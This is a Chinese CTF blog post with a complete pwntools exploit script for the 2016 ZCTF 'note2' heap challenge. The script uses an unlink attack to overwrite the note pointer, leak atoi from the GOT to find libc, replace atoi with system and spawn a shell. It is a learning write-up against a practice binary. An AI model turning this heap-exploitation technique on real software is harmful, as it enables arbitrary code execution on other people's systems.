2016_ZCTF_Pwn note2(unlink)

暑假学习计划 - 0x03

2016_ZCTF_note2

详细分析参考:CTF Wiki unlink
肝了一下午 + 一晚上,还是有一部分还不是很理解:
分配的三个堆块,为什么第一个和第三个大小一定是0x80?说是和fastbin机制有关,但是还没想明白
路过的各位大佬,如果知道麻烦指点一下,谢谢啦

from pwn import *

# context.log_level = 'debug'
p = process('./note2')
elf = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new(size,content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)\n')
    p.sendline(str(size))
    p.recvuntil('content:\n')
    p.sendline(content)

def show(idx):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(idx))

def edit(idx, choice, content):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:\n')
    p.sendline(str(idx))
    p.recvuntil('[1.overwrite/2.append]\n')
    p.sendline(str(choice))
    p.recvuntil('TheNewContents:')
    p.sendline(content)

def delete(idx):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:\n')
    p.sendline(str(idx))

p.recvuntil('name:\n')
p.sendline('1111')
p.recvuntil('address:\n')
p.sendline('2222')

head = 0x0000000000602120
fd = head - 0x18
bk = head - 0x10


payload1 = p64(0)+p64(0x61)+p64(fd)+p64(bk)+'a'*64+p64(0x60)
new(0x80, payload1)
new(0, '')
new(0x80, '')

delete(1)

payload2 = 'b'*16+p64(0xa0)+p64(0x90)
new(0, payload2)

#unlink 
delete(2)

# get atoi_addr
atoi_got = elf.got['atoi']
payload3 = 'c'*0x18+p64(atoi_got)
edit(0, 1, payload3)
show(0)



#get libc_base
p.recvuntil('is ')
atoi_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00'))
print hex(atoi_addr)
# atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
libc_base = atoi_addr - libc.symbols['atoi']

system_addr = libc_base + libc.symbols['system']
print 'system_addr: ',hex(system_addr)
payload4 = p64(system_addr)
edit(0, 1, payload4)

p.sendline('/bin/sh')

p.interactive()

猜你喜欢

转载自blog.csdn.net/Pwnpanda/article/details/81436918